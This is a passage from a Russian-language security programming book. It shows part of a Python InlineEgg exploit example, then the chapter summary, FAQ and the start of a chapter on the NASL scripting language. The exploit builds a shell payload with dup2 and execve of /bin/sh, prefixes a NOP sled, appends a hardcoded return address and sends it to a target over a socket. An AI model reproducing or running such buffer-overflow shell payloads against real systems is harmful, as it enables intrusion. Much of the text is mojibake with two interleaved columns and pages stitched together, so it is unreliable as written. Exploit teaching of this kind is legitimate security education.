 ñòðîêàõ 2–4 èìïîðòèðóþòñÿ äðóãèå ñòàíäàðòíûå êëàññû Python. 21 loop.While(err, '!=', 0)
22
 ñòðîêàõ 6–16 ïîñðåäñòâîì ýòèõ êëàññîâ ñîçäàåòñÿ ôóíêöèÿ, êîòîðàÿ ãåíå- 23 # Äóáëèðîâàíèå ñòàíäàðòíûõ äåñêðèïòîðîâ è âûçîâ exec
ðèðóåò âíåäðÿåìûé êîä (ÿéöî – egg). Â ñòðîêå 16 ñãåíåðèðîâàííîå «ÿéöî» 24 egg.dup2(sock, 0)
âîçâðàùàåòñÿ âûçûâàþùåé ïðîãðàììå. Â ñòðîêàõ 7–9 äëÿ ñîçäàíèÿ «ÿéöà» 25 egg.dup2(sock, 1)
âûçûâàþòñÿ ìåòîäû êëàññà inl ineegg, èìïîðòèðîâàííîãî â ñòðîêå 1. Â ñòðîêàõ 26 egg.dup2(sock, 2)
11 è 12 äëÿ «ÿéöà» óñòàíàâëèâàþòñÿ èäåíòèôèêàòîðû ïîëüçîâàòåëÿ è ãðóïïû, 27 egg.execve('/bin/sh',('bash','-i'))
28 print "Egg len: %d" % len(egg)
à â ñòðîêå 13 ãîâîðèòñÿ, êàêóþ ïðîãðàììó «ÿéöî» äîëæíî âûçâàòü.
29 return egg
 ñòðîêàõ 19 è 20 ïðîâåðÿåòñÿ, ÷òî ïåðåäàíî ïðàâèëüíîå ÷èñëî ïàðàìåò- 30
ðîâ. Îòìåòèì, ÷òî êîððåêòíîñòü çàäàííûõ ïàðàìåòðîâ íå ïðîâåðÿåòñÿ. 31 def main():
 ñòðîêàõ 22 è 23 ñîçäàåòñÿ ñîêåò è ïðîèñõîäèò ñîåäèíåíèå ñ óêàçàííûì 32 if len(sys.argv) < 3:
â êîìàíäíîé ñòðîêå IP-àäðåñîì è ïîðòîì. 33 raise Exception, "Usage: %s <target ip> <target port>"
34
 ñòðîêå 25 ñîçäàåòñÿ «ÿéöî», êîòîðîå ìû îòïðàâèì óäàëåííîé ñèñòåìå-
35 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
æåðòâå. 36 sock.connect((sys.argv[1], int(sys.argv[2])))
 ñòðîêàõ 27–30 ñîçäàåòñÿ ñîäåðæàùèé «ÿéöî» ïàêåò, êîòîðûé ïîñûëàåòñÿ 37
öåëåâîé ñèñòåìå. Â ñòðîêå 28 óêàçàíî, êàêèì ñèìâîëîì íóæíî çàïîëíèòü íå 38 egg = reuseConnectionShellEgg()
çàíÿòûå «ÿéöîì» áàéòû ïàêåòà.  äàííîì ñëó÷àå ýòî ñèìâîë ñ 16-ðè÷íûì êî- 39
äîì \x90. 40 retAddr = struct.pack('<L',0xbffffc24L)
41 toSend = "\x90"*(1024-len(egg))
 ñòðîêå 32 ïàêåò âûâîäèòñÿ â ñîêåò, à â ñòðîêå 34 âûçûâàåòñÿ ôóíêöèÿ 42 toSend += egg.getCode()
main, êîòîðàÿ è çàïóñêàåò ñöåíàðèé. 43 toSend += retAddr*20
Äàâ íåêîòîðîå ïðåäñòàâëåíèå îá API ïàêåòà InlineEgg, ïåðåéäåì ê ÷óòü áî- 44
ëåå ñëîæíîìó ïðèìåðó.  ïðèìåðå 1.31 ñ ïîìîùüþ êîìáèíàöèè ðàçëè÷íûõ 45 sock.send(toSend)
ìåòîäîâ shell-êîä ãåíåðèðóåò öèêë. 46
47 main()

Пример 1.31. Использование пакета InlineEgg II


1 from inlineegg.inlineegg import *
Àíàëèç
2 import socket  ñòðîêå 1 èç ôàéëà inl ineegg èìïîðòèðóåòñÿ êëàññ inl ineegg, íåîáõîäèìûé äëÿ
3 import struct
ðàáîòû ñöåíàðèÿ.
4 import sys
5 Â ñòðîêàõ 2–4 èìïîðòèðóþòñÿ äðóãèå ñòàíäàðòíûå êëàññû Python.
6 def reuseConnectionShellEgg(): Â ñòðîêàõ 7–9 äëÿ ñîçäàíèÿ «ÿéöà» âûçûâàþòñÿ ìåòîäà êëàññà inl ineegg.
100 Глава 1. Написание безопасных программ Резюме 101

Ñòðîêè 11 è 12 âêëþ÷åíû òîëüêî äëÿ òåñòèðîâàíèÿ íà ëîêàëüíîé ñèñòåìå.


Åñëè èõ «ðàñêîììåíòàðèòü», òî ñöåíàðèé ïîïûòàåòñÿ ñîåäèíèòüñÿ ñ âîçâðàò- Резюме
íûì àäðåñîì è ïîðòîì 3334.
 ñòðîêå 14 â ñòåêå ñîçäàåòñÿ è èíèöèàëèçèðóåòñÿ íóëåì ïåðåìåííàÿ, îíà Äëÿ ïîèñêà óÿçâèìîñòåé è íàïèñàíèÿ «ýêñïëîéòîâ» íåîáõîäèìî õîðîøî ïî-
ïðèãîäèòñÿ ïîçæå âî âðåìÿ ñêàíèðîâàíèÿ â ïîèñêàõ ïîäõîäÿùåãî ñîêåòà. íèìàòü èñïîëüçóåìûé ÿçûê ïðîãðàììèðîâàíèÿ. Ïðîãðàììèñò, ïûòàþùèéñÿ
 ñòðîêàõ 17–21 ñîçäàåòñÿ öèêë, êîòîðûé áóäåò èñêàòü ñîêåò (ñòðîêà 17), ýêñïëóàòèðîâàòü ïåðåïîëíåíèå áóôåðà â ïðîãðàììå, íàïèñàííîé íà Java,
à òàêæå îïðåäåëÿåòñÿ êîä, ïîäëåæàùèé âûïîëíåíèþ ïîñëå òîãî, êàê íóæíûé òîëüêî çðÿ ïîòðàòèò âðåìÿ. Òî÷íî òàê æå, äëÿ ñîñòàâëåíèÿ shell-êîäà íóæíî
ñîêåò áóäåò íàéäåí (ñòðîêà 18), èíèöèàëèçèðóåòñÿ ïðàâèëüíûé êîä îøèáêè ïîíèìàòü, êàê ÿçûê ïðîãðàììèðîâàíèÿ âçàèìîäåéñòâóåò ñ îïåðàöèîííîé
(ñòðîêà 20) è, íàêîíåö, öèêë çàïóñêàåòñÿ (ñòðîêà 21). ñèñòåìîé.  äàííîé ãëàâå îïèñàíû õàðàêòåðèñòèêè ÷åòûðåõ ðàñïðîñòðàíåí-
 ñòðîêàõ 24–29 çàäàåòñÿ, êàêèå ñèñòåìíûå âûçîâû íóæíî äîáàâèòü íûõ ÿçûêîâ.
ê «ÿéöó».  ñòðîêå 28 äëèíà «ÿéöà» ðàñïå÷àòûâàåòñÿ, à â ñòðîêå 29 «ÿéöî» âîç- Ó êàæäîãî èç ýòèõ ÿçûêîâ åñòü ñèëüíûå è ñëàáûå ñòîðîíû. Âî âñåõ ÷åòû-
âðàùàåòñÿ âûçûâàþùåé ïðîãðàììå. ðåõ ðåàëèçîâàíû òèïû äàííûõ è îñíîâíûå ïðîãðàììíûå êîíñòðóêöèè,
 ñòðîêàõ 31–33 ïðîâåðÿåòñÿ, ÷òî ïåðåäàíî ïðàâèëüíîå ÷èñëî ïàðàìåò- ê ïðèìåðó, öèêëû è ôóíêöèè. Õîòÿ ÿçûêó C óæå íåñêîëüêî äåñÿòêîâ ëåò, îí
ðîâ. Îòìåòèì, ÷òî êîððåêòíîñòü çàäàííûõ ïàðàìåòðîâ íå ïðîâåðÿåòñÿ. âñå åùå îñòàåòñÿ ïîëåçíûì. Ýòîò ïðîñòîé è ýôôåêòèâíûé ÿçûê ïðèãîäåí äëÿ
 ñòðîêàõ 35 è 36 ñîçäàåòñÿ ñîêåò è ïðîèñõîäèò ñîåäèíåíèå ñ óêàçàííûì ñîçäàíèÿ î÷åíü ìîùíûõ ïðîãðàìì. Ïîýòîìó íà íåì ÷àñòî ïèøóò «ýêñïëîé-
â êîìàíäíîé ñòðîêå IP-àäðåñîì è ïîðòîì. òû» äëÿ íàéäåííûõ óÿçâèìîñòåé, ðàâíî êàê è ïðîãðàììû, ïðåäíàçíà÷åííûå
 ñòðîêå 38 ñîçäàåòñÿ «ÿéöî», êîòîðîå ìû îòïðàâèì óäàëåííîé ñèñòåìå- äëÿ ðàáîòû â ÎÑ UNIX. Áîëåå íîâûå ÿçûêè, íàïðèìåð, Java è C# (âõîäÿùèé
æåðòâå. â ñîñòàâ êàðêàñà .NET) îáåñïå÷èâàþò áîëüøóþ ïåðåíîñèìîñòü è áåçîïàñ-
 ñòðîêàõ 41–43 ñîçäàåòñÿ ñîäåðæàùèé «ÿéöî» ïàêåò, êîòîðûé ïîñûëàåòñÿ íîñòü. Äàííûå è ìåòîäû êëàññîâ ìîæíî äåëàòü «çàêðûòûìè», ÷òî ñïîñîá-
öåëåâîé ñèñòåìå.  ñòðîêå 28 óêàçàíî, êàêèì ñèìâîëîì íóæíî çàïîëíèòü íå- ñòâóåò ëó÷øåé çàùèòå èíôîðìàöèè. Àâòîìàòè÷åñêàÿ ñáîðêà ìóñîðà çàùèùà-
çàíÿòûå «ÿéöîì» áàéòû ïàêåòà.  äàííîì ñëó÷àå ýòî ñèìâîë ñ 16-ðè÷íûì êî- åò îò îøèáîê êîäèðîâàíèÿ è óòå÷åê ïàìÿòè. Òàêèì îáðàçîì, ñàì ÿçûê ìîæåò
äîì \x90. èñêëþ÷èòü öåëûå êëàññû óÿçâèìîñòåé. Ìåõàíèçì àâòîìàòè÷åñêîãî êîíòðîëÿ
 ñòðîêå 45 ïàêåò âûâîäèòñÿ â ñîêåò, à â ñòðîêå 47 âûçûâàåòñÿ ôóíêöèÿ âûõîäà çà ãðàíèöû ìàññèâîâ â Java è C# äåëàåò íåâîçìîæíûì ïåðåïîëíåíèå
main, êîòîðàÿ è çàïóñêàåò ñöåíàðèé. ñòåêà è êó÷è.
Õîòÿ ýòî è øàã â ïðàâèëüíîì íàïðàâëåíèè, íî íè îäèí ÿçûê íå â ñîñòîÿ-
íèè ãàðàíòèðîâàòü áåçîïàñíîñòü ëþáîé íàïèñàííîé íà íåì ïðîãðàììû. Ðàç-
ðàáîò÷èêè Web-ïðèëîæåíèé ïî-ïðåæíåìó äîëæíû êîíòðîëèðîâàòü âõîäíóþ
Примечание
èíôîðìàöèþ è îòôèëüòðîâûâàòü íåíóæíûå ñèìâîëû. Ïðè äîñòóïå èç ïðè-
Подробнее о системных вызовах, которые упомянуты в этих двух ëîæåíèÿ ê áàçå äàííûõ íóæíî ñëåäèòü çà òåì, ÷òîáû íåëüçÿ áûëî èçâíå âíå-
сценариях, см. главу 8 «Написание переносимого сетевого кода» и äðèòü êîìàíäû íà ÿçûêå SQL.
главу 9 «Методы создания shellкода». Perl è Python – ìîùíûå, ïîïóëÿðíûå è ïîëåçíûå ÿçûêè ñöåíàðèåâ.  ÷èñëå
äðóãèõ ðàñïðîñòðàíåííûõ ÿçûêîâ òàêîãî ðîäà ìîæíî íàçâàòü Ruby, UNIX C/
Korn/Bourne Shell, VBScri pt è SQL. Ó ÿçûêà ñöåíàðèåâ ìíîãî ïðåèìóùåñòâ ïå-
ðåä êîìïèëèðóåìûì ÿçûêîì ïðîãðàììèðîâàíèÿ, íî â êà÷åñòâå îñíîâíûõ
îáû÷íî íàçûâàþò ñêîðîñòü ðàçðàáîòêè è ïðîñòîòó.  îáùåì è öåëîì, ðàçðà-
áàòûâàòü ñöåíàðèè íà òàêèõ ÿçûêàõ ãîðàçäî áûñòðåå, ïîñêîëüêó èíòåðïðåòà-
òîð îáëàäàåò ðÿäîì äîñòîèíñòâ, îòñóòñòâóþùèõ ó êîìïèëÿòîðîâ. Ðàáîòà ñî
ñòðîêàìè è ñîêåòàìè – âîò äâà îñîáåííî ïîïóëÿðíûõ ñðåäñòâà â ÿçûêàõ Perl è
Python. Íåîáõîäèìîñòü â ìåõàíèçìàõ ñîïîñòàâëåíèÿ ñòðîê ñ îáðàçöîì è íå-
òðèâèàëüíûõ ìàíèïóëÿöèÿõ ñî ñòðîêàìè îáóñëîâèëà âêëþ÷åíèå ðàçâèòûõ
ñðåäñòâ ðàáîòû ñ ðåãóëÿðíûìè âûðàæåíèÿìè â íàèáîëåå ïðîäâèíóòûõ ÿçû-
102 Глава 1. Написание безопасных программ Обзор изложенного материала 103

êàõ ñöåíàðèåâ. Îíè ïîçâîëÿþò ñîçäàâàòü ïðîãðàììû äëÿ àíàëèçà áîëüøèõ


îáúåìîâ äàííûõ ñ öåëüþ ãåíåðèðîâàíèÿ îò÷åòîâ ïî íèì. Обзор изложенного материала
ßçûêè ñöåíàðèåâ ïîçâîëÿþò â êîðîòêèå ñðîêè àâòîìàòèçèðîâàòü ðåøåíèå
ðóòèííûõ ïîâòîðÿþùèõñÿ çàäà÷. Âñÿêèé ðàç, êàê íåêàÿ çàäà÷à ðåøàåòñÿ ÷àùå C/C++
ðàçà â äåíü, ïîäóìàéòå, íåëüçÿ ëè åå àâòîìàòèçèðîâàòü ñ ïîìîùüþ ïîäõîäÿ- ; C è C++ – ýòî êîìïèëèðóåìûå ÿçûêè ïðîãðàììèðîâàíèÿ, â íàñòîÿùåå
ùåãî ñöåíàðèÿ; âîçìîæíî, ÷òî âû çàõîòèòå äàæå âêëþ÷èòü â òàêîé ñöåíàðèé âðåìÿ îíè çàíèìàþò äîìèíèðóþùåå ïîëîæåíèå ñ òî÷êè çðåíèÿ êàê
çàïóñê ïî ðàñïèñàíèþ. ïîïóëÿðíîñòè, òàê è îáúåìà íàïèñàííîãî êîäà.
; Íà C íàïèñàíû ïî÷òè âñå äîñòóïíûå äëÿ øèðîêîé ïóáëèêè «ýêñïëîé-
òû» è ïðîãðàììû ñêàíèðîâàíèÿ ñåòåé, âêëþ÷àÿ NMAP (Network Messag-
ing Appl ication Protocol) è Nessus. Ñ äðóãîé ñòîðîíû, è óÿçâèìîñòè ÷àùå
âñåãî âñòðå÷àþòñÿ â ïðîãðàììàõ íà ýòîì ÿçûêå.

Java
; ßçûê Java ïîääåðæèâàåò ìíîãîïîòî÷íîñòü, òî åñòü ïðîãðàììà ìîæåò
ðåøàòü íåñêîëüêî çàäà÷ îäíîâðåìåííî. Ýòó âîçìîæíîñòü îáåñïå÷èâàåò
êëàññ Thread èç ïàêåòà java.lang.
; Îáúåêòû (ýêçåìïëÿðû êëàññà) ìîãóò ñîäåðæàòü äàííûå, íå ïîäëåæà-
ùèå èçìåíåíèþ èç âíåøíåé ïðîãðàììû. Äëÿ òàêîãî «ñîêðûòèÿ äàí-
íûõ» ïðîãðàììèñò ìîæåò âîñïîëüçîâàòüñÿ êëþ÷åâûì ñëîâîì «private».

C#
; ßçûê C# îáëàäàåò ðÿäîì ñâîéñòâ, êîòîðûå äåëàþò åãî ïðèâëåêàòåëü-
íûì êàê äëÿ ñïåöèàëèñòà ïî áåçîïàñíîñòè, òàê è äëÿ õàêåðà. Ïîýòîìó
îí ñòðåìèòåëüíî íàáèðàåò ïîïóëÿðíîñòü. Ïðèíÿòàÿ â íåì ìîäåëü «ïå-
ñî÷íèöû» è îãðàíè÷åíèÿ íà èñïîëíÿåìûé êîä íàïîìèíàþò àíàëîãè÷-
íûå ñðåäñòâà â ÿçûêå Java.

Perl
; Åñëè ñóäèòü ïî ÷èñëó íàïèñàííûõ íà Perl ïðîãðàìì, òî ýòî îäèí èç ñà-
ìûõ ïîïóëÿðíûõ ÿçûêîâ ñöåíàðèåâ â ìèðå, â òîì ÷èñëå è â îáëàñòè
îáåñïå÷åíèÿ áåçîïàñíîñòè.
; Â Perl èìåþòñÿ ôóíêöèè match è subst äëÿ ñîïîñòàâëåíèÿ ñòðîê ñ îáðàç-
öîì è âûïîëíåíèÿ çàìåíû. Ôóíêöèÿ match ïðèíèìàåò äâà àðãóìåíòà:
ñòðîêà, â êîòîðîé ïðîèçâîäèòñÿ ïîèñê, è èñêîìûé îáðàçåö. Ôóíêöèÿ
subst, ïîìèìî ýòèõ äâóõ àðãóìåíòîâ, ïðèíèìàåò åùå ñòðîêó, êîòîðóþ
íàäî ïîäñòàâèòü âçàìåí íàéäåííîé.

Python
; Python ëèøü íåäàâíî íà÷àë íàáèðàòü ïîïóëÿðíîñòü, îñîáåííî êàê èí-
ñòðóìåíò äëÿ íàïèñàíèÿ «ýêñïëîéòîâ».
104 Глава 1. Написание безопасных программ Часто задаваемые вопросы 105

; Îñíîâíûå êîìïîíåíòû òàêèõ èçâåñòíûõ ïðîãðàìì, êàê Inl ine Egg êîì-
ïàíèè Core Secutity Technologies è CANVAS êîìïàíèè Immunity Securi- Часто задаваемые вопросы
ty, íàïèñàíû íà Python.
Ñëåäóþùèå âîïðîñû, íà êîòîðûå ÷àñòî îòâå÷àþò àâòîðû êíèãè, ïðèçâàíû
ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåííûå â äàí-
Ссылки на сайты íîé ãëàâå è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå çàäàòü
àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çàïîëíèòå
Áîëåå ïîäðîáíóþ èíôîðìàöèþ ïî ðàññìîòðåííûì âîïðîñàì ìîæíî íàéòè ôîðìó Ask the Author
Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðóãèõ FAQîâ
íà ñëåäóþùèõ ñàéòàõ: íà ñàéòå ITFAQnet.com.
 www.gnu.org/software/gcc/gcc.html. Äîìàøíÿÿ ñòðàíèöà êîìïèëÿòîðà
GNU C ñîäåðæèò ñïðàâî÷íóþ èíôîðìàöèþ ïî ÿçûêó C è îñîáåííîñ-  : Äîïóñòèì, ÿ õî÷ó ìîäèôèöèðîâàòü ÿçûê ñöåíàðèåâ ïîä ñâîè íóæäû. Êà-
òÿì ïðîãðàììèðîâàíèÿ íà íåì; êîé ÿçûê ïðîùå âñåãî ïîääàåòñÿ ðàñøèðåíèþ?
 www.research.att.com/~bs/C++.html. Ñòðàíèöà èññëåäîâàòåëüñêîé ãðóï- Î : Ëåãêî ïîääàþòñÿ ðàñøèðåíèþ ïî÷òè âñå ÿçûêè ñöåíàðèåâ. Ïðèíèìàÿ
ïû êîìïàíèè AT&T, ïîñâÿùåííàÿ ÿçûêó C++. Ïîääåðæèâàåòñÿ ñîçäà- âî âíèìàíèå ðàçëè÷íûå ôàêòîðû, ìîæíî ñêàçàòü, ÷òî ïðîùå âñåãî ðàñøè-
òåëåì ÿçûêà Áüÿðíîì Ñòðàóñòðóïîì, ñîäåðæèò ïðåêðàñíóþ äîêóìåíòà- ðèòü Perl, ïîòîì Python, ïîòîì Javascri pt. Ðàñøèðåíèå ìîæåò âûãëÿäåòü ïî-
öèþ è íåñêîëüêî âåëèêîëåïíûõ îáðàç÷èêîâ êîäà; ðàçíîìó, íî, îáû÷íî, ðåàëèçóåòñÿ ñ ïîìîùüþ áèáëèîòåê èëè ìîäóëåé, ðàçáè-
 http://java.sun.com/docs/books/tutorial/java/nutsandbolts/datatypes.html. ðàåìûõ âî âðåìÿ âûïîëíåíèÿ ñöåíàðèÿ.
Õîðîøåå ñïðàâî÷íîå ðóêîâîäñòâî ïî òèïàì äàííûõ â ÿçûêå Java, îïóá-
ëèêîâàííîå íà ñàéòå êîìïàíèè Sun Microsystems;  : Ïî÷åìó òàê òðóäíî ðåàëèçîâàòü ðàáîòó ñ ïðîñòûìè (raw) ñîêåòàìè
 http://java.sun.com/products/jdk/1.2/docs/api/java/net/URLConnection.html. â ÿçûêàõ ñöåíàðèåâ?
×àñòü äîêóìåíòàöèè ïî JDK, îòíîñÿùàÿñÿ ê êëàññó URLConnection; Î : ßçûêè ñöåíàðèåâ ðàçðàáàòûâàëèñü êàê ñðåäñòâî äëÿ îáëåã÷åíèÿ è óñêî-
 www.csharphelp.com/archives/archives189.html. Íà ýòîì ñàéòå íåïëîõàÿ ðåíèÿ ïðîãðàììèðîâàíèÿ çà ñ÷åò óòðàòû íåêîòîðîé ôóíêöèîíàëüíîñòè.
ïîäáîðêà èíôîðìàöèè ïî ÿçûêó C# è âñòðîåííûì â íåãî ñðåäñòâàì Ïðåæäå âñåãî, ñöåíàðèè íå êîìïèëèðóþòñÿ â ìàøèííûé êîä è îáû÷íî íå
áåçîïàñíîñòè; ìîãóò ññûëàòüñÿ íà êîíêðåòíûå àäðåñà â ïàìÿòè. Ôóíêöèè ñîêåòîâ, ðåàëèçî-
 www.l inuxgazette.com/issue85/ortiz.html. Ñïðàâî÷íîå ðóêîâîäñòâî íî- âàííûå â áîëüøèíñòâå òàêèõ ÿçûêîâ, ðàññ÷èòàíû íà ìàññîâîãî ïîëüçîâàòå-
ìåð 1 ïî ÿçûêó C# è òèïàì äàííûõ â íåì; ëÿ, à íå «ñïåöà», êîòîðûé æåëàåò ìîäèôèöèðîâàòü íåêîòîðûå ïîëÿ â ïàêåòå
 www.perl.org. Äîìàøíÿÿ ñòðàíèöà ñàéòà, ïîñâÿùåííîãî ÿçûêó Perl, íà ïðîòîêîëà TCP èëè UDP. Ïî áîëüøåé ÷àñòè, ðåàëèçàöèÿ ñîêåòîâ ïîçâîëÿåò
êîòîðîì âû íàéäåòå äîêóìåíòàöèþ, ïðèìåðû ñöåíàðèåâ è îíëàéíîâûå ïðîñòî çàäàâàòü ïîëåçíóþ íàãðóçêó, à äëÿ ñîçäàíèÿ IP-ïàêåòîâ è äàæå äëÿ äî-
ðóêîâîäñòâà; ñòóïà ê MAC-àäðåñàì ñðåäñòâà íå ïðåäîñòàâëÿþòñÿ.
 www.activestate.com. Êîìïàíèÿ ActiveState ðàçðàáîòàëà ñàìûé ïîïóëÿð-
íûé èíòåðïðåòàòîð Perl äëÿ Windows. Åãî ìîæíî áåñïëàòíî ñêà÷àòü  : ×òî ëó÷øå: ðåêóðñèÿ èëè èòåðàöèÿ?
âìåñòå ñî âñåé äîêóìåíòàöèåé; Î: Ôóíêöèîíàëüíî ðåêóðñèÿ è èòåðàöèÿ ýêâèâàëåíòíû. Ëþáóþ ðåêóðñèâíóþ
 www.python.org. Äîìàøíÿÿ ñòðàíèöà ñàéòà, ïîñâÿùåííîãî ÿçûêó Python. ôóíêöèþ ìîæíî íàïèñàòü òîëüêî ñ ïîìîùüþ èòåðàöèé è íàîáîðîò. Â áîëü-
Çäåñü ïðåäñòàâëåíà äîêóìåíòàöèÿ, ïðèìåðû ïðîãðàìì è èíñòðóìåí- øèíñòâå ñëó÷àåâ ïðîãðàììèñò âûáèðàåò òîò ïîäõîä, êîòîðûé äàåò áîëåå ïîíÿò-
òàëüíûå ñðåäñòâà. íîå ðåøåíèå. Íî, åñëè áûñòðîäåéñòâèå êðèòè÷åñêè âàæíî, òî ëó÷øå ïðèáåãíóòü
ê èòåðàöèè. Äëÿ ðåêóðñèè õàðàêòåðíî ìíîãî âûçîâîâ ôóíêöèè èëè ìåòîäà,
à ýòî íàêëàäíûå ðàñõîäû, êîòîðûìè èòåðàòèâíûé ïîäõîä íå îáðåìåíåí.

 : Ìîãó ëè ÿ èñïîëüçîâàòü ñîáñòâåííûé êðèïòîãðàôè÷åñêèé àëãîðèòì?


Î : Íå ñòîèò. Î÷åíü òðóäíî ðàçðàáîòàòü êðèïòîãðàôè÷åñêè áåçîïàñíûé àë-
ãîðèòì. Ïðåæäå ÷åì àëãîðèòìó ìîæíî áóäåò äîâåðèòü øèôðîâàíèå ñåêðåò-
106 Глава 2. Язык сценариев NASL 107

íûõ äàííûõ, åãî íåñêîëüêî ëåò ïîäâåðãàþò ïóáëè÷íîìó èññëåäîâàíèþ è îá-


ñóæäåíèþ. Ïîëüçóéòåñü êðèïòîãðàôè÷åñêèìè áèáëèîòåêàìè, ïîñòàâëÿåìû-
ìè âìåñòå ñ âàøèì ëþáèìûì ÿçûêîì, èëè êîììåð÷åñêèìè ïðîãðàììàìè,
Глава 2
ïðîøåäøèìè «îáùåñòâåííûé êîíòðîëü».

 : Êàê ïðèñòóïèòü ê ñîçäàíèþ ÿçûêà ïðîãðàììèðîâàíèÿ?


Î : Ïåðâûì äåëîì íóæíî ðàçðàáîòàòü ñèíòàêñèñ, îïðåäåëèòü çàðåçåðâèðî-
âàííûå ñëîâà è íàáîð äîïóñòèìûõ ñèìâîëîâ. Ñòðóêòóðà ÿçûêà îïðåäåëÿåòñÿ
êîíòåêñòíî-ñâîáîäíîé ãðàììàòèêîé. Äëÿ îïèñàíèÿ ãðàììàòèêè ÷àñòî ïðè-
Язык сценариев NASL
ìåíÿþò ôîðìó Áýêóñà-Íàóðà (BNF). Íàêîíåö, ðàçðàáàòûâàåòñÿ êîìïèëÿòîð,
êîòîðûé ðåàëèçóåò ÿçûê, çàäàííûé ñâîåé ãðàììàòèêîé.

 : ×òî òàêîå ññûëî÷íûå ïåðåìåííûå è ÷åì îíè îòëè÷àþòñÿ îò óêàçàòåëåé?


Î : Óêàçàòåëü – ýòî, ïî ñóòè äåëà, àäðåñ â ïàìÿòè. Äëÿ ïðÿìîãî äîñòóïà
ê ïàìÿòè â ÿçûêå C ïðèìåíÿåòñÿ ñèìâîë &. Ðåàëèçàöèÿ òàêîãî ìåõàíèçìà
òðåáóåò âçàèìîäåéñòâèÿ ñ àïïàðàòóðîé. Îñíîâíîå äîñòîèíñòâî ññûëî÷íûõ
ïåðåìåííûõ – ïðîñòîòà èñïîëüçîâàíèÿ. Ðàçðàáîò÷èêè íå õîòÿò, ÷òîáû èç-çà
ïðîñòîé îøèáêè ïîñòðàäàëà êðèòè÷åñêè âàæíàÿ îáëàñòü ïàìÿòè. Описание данной главы:
 Введение
 Синтаксис сзыка NASL
 Написание сценариев на языке NASL
 Примеры сценариев на языке NASL
 Перенос программ на язык NASL и наоборот
См. также главы 1, 13

 Резюме
 Обзор изложенного материала
 Часто задаваемые вопросы
108 Глава 2. Язык сценариев NASL Введение 109

Введение с Рено Дерезоном они переписали NASL с нуля. Хотя «новый» NASL
находился в почти работоспособном состоянии еще в августе 2002
года, изза лени Мишеля нам пришлось ждать начала 2003 года для
Ïðîãðàììà Nessus – ýòî ìîùíûé, ñîâðåìåííûé, ïðîñòîé â ïðèìåíåíèè áåñ-
оканчательного завершения создания языка.
ïëàòíûé ñêàííåð áåçîïàñíîñòè óäàëåííûõ ñèñòåì. Îíà èñïîëüçóåòñÿ äëÿ àóäè-
òà ñåòåé ñ öåëüþ îáíàðóæåíèÿ ñëàáûõ ìåñò è èçâåñòíûõ óÿçâèìîñòåé.
Ïî ñðàâíåíèþ ñ NASL1 â NASL2 âêëþ÷åíî ìíîæåñòâî óñîâåðøåíñòâîâà-
ßçûê Nessus Attack Scri pting Language (NASL – ÿçûê ñöåíàðèåâ àòàê äëÿ
íèé. ßçûê ñòàë çíà÷èòåëüíî áûñòðåå, ñîäåðæèò áîëüøå ôóíêöèé è îïåðàòî-
Nessus) ïîçâîëÿåò ïèñàòü ñîáñòâåííûå ñöåíàðèè àóäèòà áåçîïàñíîñòè. Íàïðè-
ðîâ, ïîääåðæèâàåò ìàññèâû. Åãî ñèíòàêñè÷åñêèé àíàëèçàòîð ñîçäàí ñ ïîìî-
ìåð, åñëè îðãàíèçàöèÿ ïëàíèðóåò óñòàíîâèòü íà âñåõ õîñòàõ âíóòðè àäìèíèñò-
ùüþ ãåíåðàòîðà bison è ïîòîìó íàìíîãî ñòðîæå, ÷åì «ðó÷íîé» àíàëèçàòîð
ðàòèâíîé ïîäñåòè OpenSSH âåðñèè 3.6.1 íà ïîðòó 22000, òî ìîæíî íàïèñàòü
â NASL1. NASL2 ëó÷øå ñïðàâëÿåòñÿ ñî ñëîæíûìè âûðàæåíèÿìè, ÷åì NASL1.
ïðîñòîé ñöåíàðèé, êîòîðûé ïðîâåðèò âûïîëíåíèå ýòîãî òðåáîâàíèÿ.
Ïðè ïðîåêòèðîâàíèè NASL ñòàâèëàñü çàäà÷à îáëåã÷èòü ñîâìåñòíîå èñïîëü- Ëþáîå óïîìèíàíèå NASL â ýòîé ãëàâå îòíîñèòñÿ ê NASL2.
çîâàíèå ñöåíàðèåâ, íàïèñàííûõ ðàçíûìè ïîëüçîâàòåëÿìè. Åñëè íà íåêîòî-
ðîì ñåðâåðå áûëî îáíàðóæåíî ïåðåïîëíåíèå áóôåðà, òî êòî-íèáóäü îáÿçà- Назначение NASL
òåëüíî íàïèøåò ñöåíàðèé äëÿ ïðîâåðêè ñóùåñòâîâàíèÿ ýòîé óÿçâèìîñòè.
Îñíîâíîå íàçíà÷åíèå ïî÷òè âñåõ ñöåíàðèåâ íà ÿçûêå NASL – óäàëåííîå âû-
Åñëè ýòîò ñöåíàðèé ñîñòàâëåí ñ ó÷åòîì ïðåäúÿâëÿåìûõ òðåáîâàíèé è îòîñëàí
ÿâëåíèå èçâåñòíûõ óÿçâèìîñòåé íà öåëåâîé ìàøèíå.
àäìèíèñòðàòîðàì Nessus, òî îí âîéäåò â ïîñòîÿííî ðàñòóùóþ áèáëèîòåêó,
ïðèìåíÿåìóþ äëÿ ïîèñêà èçâåñòíûõ óÿçâèìîñòåé. Íî, êàê è ìíîãèå äðóãèå
èíñòðóìåíòû áåçîïàñíîñòè, Nessus – ýòî ïàëêà î äâóõ êîíöàõ. Õàêåðû è êðå- Ïðîñòîòà è óäîáñòâî
êåðû òîæå ìîãóò âîñïîëüçîâàòüñÿ Nessus äëÿ ñêàíèðîâàíèÿ ñåòåé, ïîýòîìó NASL ñîçäàâàëñÿ äëÿ òîãî, ÷òîáû ïîëüçîâàòåëè ìîãëè ëåãêî è áûñòðî ïèñàòü
âàæíî êàê ìîæíî ÷àùå ïîäâåðãàòü ñâîþ ñåòü àóäèòó. ñöåíàðèè, îòíîñÿùèåñÿ ê áåçîïàñíîñòè. Äëÿ ýòîãî â NASL èìåþòñÿ ôóíêöèè
Íàçíà÷åíèå íàñòîÿùåé ãëàâû – íàó÷èòü âàñ ïèñàòü òàêèå ñöåíàðèè íà ÿçû- äëÿ ñîçäàíèÿ ïàêåòîâ, ïîèñêà îòêðûòûõ ïîðòîâ è âçàèìîäåéñòâèÿ ñ òàêèìè
